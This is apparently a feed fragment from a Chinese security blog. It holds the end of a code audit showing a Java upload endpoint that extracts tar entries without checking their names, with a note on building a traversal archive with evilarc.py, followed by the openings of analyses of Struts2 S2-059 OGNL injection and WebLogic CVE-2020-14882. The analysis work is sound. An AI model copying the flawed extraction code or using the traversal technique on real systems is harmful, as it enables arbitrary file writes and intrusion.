&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;@RequestMapping&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/uploadova&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;method&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;RequestMethod.POST&lt;span class="o"&gt;})&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;public&lt;span class="w"&gt; &lt;/span&gt;void&lt;span class="w"&gt; &lt;/span&gt;uploadOvaFile&lt;span class="o"&gt;(&lt;/span&gt;@RequestParam&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;uploadFile&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;required&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;CommonsMultipartFile&lt;span class="w"&gt; &lt;/span&gt;uploadFile,&lt;span class="w"&gt; &lt;/span&gt;HttpServletResponse&lt;span class="w"&gt; &lt;/span&gt;response&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;throws&lt;span class="w"&gt; &lt;/span&gt;Exception&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;logger.info&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Entering uploadOvaFile api&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;int&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;code&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;uploadFile.isEmpty&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;?&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;400&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;PrintWriter&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;wr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;null&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;try&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;code&lt;span class="w"&gt; &lt;/span&gt;!&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;response.sendError&lt;span class="o"&gt;(&lt;/span&gt;code,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Arguments Missing&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nv"&gt;wr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;response.getWriter&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;catch&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;IOException&lt;span class="w"&gt; &lt;/span&gt;e&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;e.printStackTrace&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;logger.info&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;upload Ova Controller Ended With Error&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;response.setStatus&lt;span class="o"&gt;(&lt;/span&gt;code&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;String&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;returnStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;SUCCESS&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;!uploadFile.isEmpty&lt;span class="o"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;try&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;logger.info&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Downloading OVA file has been started&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;logger.info&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Size of the file received  : &amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;uploadFile.getSize&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;InputStream&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;inputStream&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;uploadFile.getInputStream&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;dir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;File&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/unicorn_ova_dir&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;!dir.exists&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;dir.mkdirs&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;String&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;entries&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dir.list&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;String&lt;span class="w"&gt; &lt;/span&gt;str&lt;span class="w"&gt; &lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;entries&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;currentFile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;File&lt;span class="o"&gt;(&lt;/span&gt;dir.getPath&lt;span class="o"&gt;()&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;str&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;currentFile.delete&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;logger.info&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Successfully cleaned : /tmp/unicorn_ova_dir&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;TarArchiveInputStream&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;TarArchiveInputStream&lt;span class="o"&gt;(&lt;/span&gt;inputStream&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;TarArchiveEntry&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;.getNextTarEntry&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;List&amp;lt;String&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;ArrayList&amp;lt;String&amp;gt;&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;entry&lt;span class="w"&gt; &lt;/span&gt;!&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;null&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;entry.isDirectory&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;.getNextTarEntry&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;continue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;curfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;File&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;/tmp/unicorn_ova_dir&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;entry.getName&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;File&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;parent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;curfile.getParentFile&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;!parent.exists&lt;span class="o"&gt;())&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;parent.mkdirs&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;OutputStream&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;out&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;new&lt;span class="w"&gt; &lt;/span&gt;FileOutputStream&lt;span class="o"&gt;(&lt;/span&gt;curfile&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;IOUtils.copy&lt;span class="o"&gt;((&lt;/span&gt;InputStream&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;out&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;out.close&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;result.add&lt;span class="o"&gt;(&lt;/span&gt;entry.getName&lt;span class="o"&gt;())&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="nv"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;.getNextTarEntry&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;.close&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;logger.info&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Successfully deployed File at Location :/tmp/unicorn_ova_dir&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;catch&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;Exception&lt;span class="w"&gt; &lt;/span&gt;e&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;logger.error&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Unable to upload OVA file :&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;+&lt;span class="w"&gt; &lt;/span&gt;e&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nv"&gt;returnStatus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;FAILED&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;wr.write&lt;span class="o"&gt;(&lt;/span&gt;returnStatus&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;wr.flush&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;wr.close&lt;span class="o"&gt;()&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;在遍历tar文件并逐个释放到&lt;code&gt;/tmp/unicorn_ova_dir&lt;/code&gt;目录的过程中，有这么一行代码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;curfile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;File&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/tmp/unicorn_ova_dir&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getName&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这个操作没有任何对&lt;code&gt;entry.getName()&lt;/code&gt;的检查与过滤，直接将&lt;code&gt;/tmp/unicorn_ova_dir&lt;/code&gt;和&lt;code&gt;entry.getName()&lt;/code&gt;拼接了起来，如果我们构造出包含&lt;code&gt;..\&lt;/code&gt;的tar文件，那么就能达到目录穿越的目的&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;evilarc.py&lt;/code&gt;制作目录层级为2的tar文件，就会在目录结构中包含两个目录穿越符号，正好够我们达到服务器文件系统的根路径&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615115959034" src="https://s2.loli.net/2024/06/14/ReMyn51PJDzY8qK.png"&gt;&lt;/p&gt;
&lt;h1&gt;结语&lt;/h1&gt;
&lt;p&gt;漏洞很简单，难的是找到无需认证即可访问的接口以及存在漏洞的方法！！！&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>Struts2-059 RCE （CVE-2019-0230）漏洞分析</title><link href="struts2-059-rce-cve-2019-0230lou-dong-fen-xi.html" rel="alternate"></link><published>2020-12-16T00:00:00+01:00</published><updated>2020-12-16T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-12-16:struts2-059-rce-cve-2019-0230lou-dong-fen-xi.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;复现过程参考：&lt;a href="http://144.34.164.217/struts2-059-rce-cve-2019-0230fu-xian.html"&gt;Struts2-059 RCE （CVE-2019-0230）复现&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先我们确定引发漏洞的具体位置，根据&lt;a href="https://cwiki.apache.org/confluence/display/WW/S2-059"&gt;apache官网的描述&lt;/a&gt;，未经过滤的OGNL表达式被&lt;strong&gt;强制二次解析&lt;/strong&gt;，从而导致远程命 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;复现过程参考：&lt;a href="http://144.34.164.217/struts2-059-rce-cve-2019-0230fu-xian.html"&gt;Struts2-059 RCE （CVE-2019-0230）复现&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;首先我们确定引发漏洞的具体位置，根据&lt;a href="https://cwiki.apache.org/confluence/display/WW/S2-059"&gt;apache官网的描述&lt;/a&gt;，未经过滤的OGNL表达式被&lt;strong&gt;强制二次解析&lt;/strong&gt;，从而导致远程命令执行，比如&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt; &lt;span class="nb"&gt;var&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;url&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;namespace&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;/employee&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;action&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;list&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;/&amp;gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%{skillName}&amp;quot;&lt;/span&gt; &lt;span class="n"&gt;href&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%{url}&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;List&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt; &lt;span class="n"&gt;Employees&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果攻击者能够发送请求控制&lt;code&gt;skillName&lt;/code&gt;的值，那么当&lt;code&gt;&amp;lt;s&amp;gt;&lt;/code&gt;标签被渲染的时候，&lt;code&gt;skillName&lt;/code&gt;中如果包含了未经过滤的&lt;code&gt;OGNL&lt;/code&gt;表达式，则可能会导致命令执行&lt;/p&gt;
&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.csdn.net/weixin_46236101/article/details/109080913"&gt;https://blog.csdn.net/weixin_46236101/article/details/109080913&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://cwiki.apache.org/confluence/display/WW/S2-059"&gt;https://cwiki.apache.org/confluence/display/WW/S2-059&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://securitylab.github.com/research/apache-struts-double-evaluation"&gt;https://securitylab.github.com/research/apache-struts-double-evaluation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;漏洞分析&lt;/h1&gt;
&lt;p&gt;还是用复现文章中的漏洞环境，既然漏洞出在标签渲染的部分，那么就一定需要获取标签属性的值，因此我们在&lt;code&gt;getPayload&lt;/code&gt;方法处下断点&lt;/p&gt;
&lt;p&gt;&lt;img alt="1608096100275" src="https://s2.loli.net/2024/06/14/Sbk9msB8yUFuIXt.png"&gt;&lt;/p&gt;
&lt;p&gt;然后开始debug，burp发包触发断点&lt;/p&gt;</content><category term="代码审计"></category></entry><entry><title>weblogic CVE-2020-14882~14883漏洞分析</title><link href="weblogic-cve-2020-1488214883lou-dong-fen-xi.html" rel="alternate"></link><published>2020-11-27T00:00:00+01:00</published><updated>2020-11-27T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-11-27:weblogic-cve-2020-1488214883lou-dong-fen-xi.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;前段时间weblogic出了RCE，复现之   后想调试看看漏洞产生的原因，就有了这篇文章，另外为了能够理解这篇分析文章的内容，需要具 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;前段时间weblogic出了RCE，复现之   后想调试看看漏洞产生的原因，就有了这篇文章，另外为了能够理解这篇分析文章的内容，需要具备一些预备知识，可以参考&lt;a href="http://144.34.164.217/weblogic-portal-frameworkwen-dang.html"&gt;Weblogic Portak Framework文档&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.cnblogs.com/ph4nt0mer/p/11772709.html"&gt;https://www.cnblogs.com/ph4nt0mer/p/11772709.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.csdn.net/fly__me/article/details/80884335"&gt;https://blog.csdn.net/fly__me/article/details/80884335&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.anquanke.com/post/id/224059"&gt;https://www.anquanke.com/post/id/224059&lt;/a&gt;&lt;/li&gt;
